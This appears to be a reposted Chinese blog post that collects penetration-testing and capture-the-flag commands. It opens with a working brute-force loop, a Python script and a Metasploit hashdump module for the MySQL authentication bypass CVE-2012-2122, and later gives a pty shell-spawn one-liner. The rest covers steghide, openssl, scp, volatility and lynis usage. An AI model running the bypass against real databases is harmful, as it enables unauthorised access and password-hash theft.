web渗透测试总结(2)

一、 Mysql 身份认证绕过漏洞(CVE-2012-2122) 

MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23。当在具有memcmp功能的某些实现的某些环境中运行时,允许远程攻击者通过使用相同的错误密码重复进行身份验证来绕过身份验证,这最终导致令牌比较由于未正确检查的返回值而成功。

1.for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

2.python mysql_bypass.py

#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

3.use auxiliary/scanner/mysql/mysql_authbypass_hashdump

二、xxd命令将十六进制转换为文本

echo 666c61677b37633031333230373061306566373164353432363633653964633166356465657d | xxd -r -p

三、Python -c ‘import pty;pty.spawn(“/bin/sh”)’

四、在多级目录中对文本进行递归搜索

grep -r flag /etc/

五、find

find /home -name "*.txt" //在/home目录下查找以.txt结尾的文件名
find . -name "*.txt" -o -name "*.pdf" //当前目录及子目录下查找所有以.txt和.pdf结尾的文件

六、openssl

1.echo -n nmap | openssl md5   //用oppnssl md5  加密字符串

2.openssl   md5   -in   1.txt   //用openssl加密文件

3. echo -n abc | openssl base64 //base64加密

4. echo YWJjCg== | openssl base64 -d   //base64解密

七、ssh [email protected] -p 2222 //ssh登录

八、https  注意查看SSL证书和BOOM

九、steghide隐写术

1.steghide embed -cf test.jpg -ef secret.txt -p 123456  //将secret.txt文件隐藏到text.jpg中

2.steghide extract -sf test.jpg -p 123456  //从text.jpg解出secret.txt

3.steghide info picture.jpg   //包含嵌入式数据的文件,并且要在提取该文件之前获取相关信息,使用info命令

十、scp(secure copy)命令

1.scp -r [email protected]:/home/lk /root    //在A服务器上操作,将B服务器上/home/lk/目录下所有的文件全部复制到本地的/root目录下,ssh连接,-P 2222, -r递归目录

2.scp -r /root/lk [email protected]:/home/lk/cpfile  //在A服务器上将/root/lk目录下所有的文件传输到B的/home/lk/cpfile目录下

十一、volatility内存取证工具

1. -f  打开镜像的文件名 ,imageinfo 识别镜像信息,iehistory重建IE缓存/历史,--profile=WinXPSP2x86加载轮廓

2.pslist打印所有运行进程 ,consoles扫描提取命令历史

十二、wpscan

十三、nikto

十四、lynis安全审计

1.lynis audit system //本地扫描

2. //远程扫描

  1. mkdir -p ./files && cd .. && tar czf ./lynis/files/lynis-remote.tar.gz --exclude=files/lynis-remote.tar.gz ./lynis && cd lynis 
  2. scp -q ./files/lynis-remote.tar.gz [email protected]:~/tmp-lynis-remote.tgz
  3. ssh [email protected] "mkdir -p ~/tmp-lynis && cd ~/tmp-lynis && tar xzf ../tmp-lynis-remote.tgz && rm ../tmp-lynis-remote.tgz && cd lynis && ./lynis audit system --quick" 

猜你喜欢

转载自blog.csdn.net/qq_34311331/article/details/82262141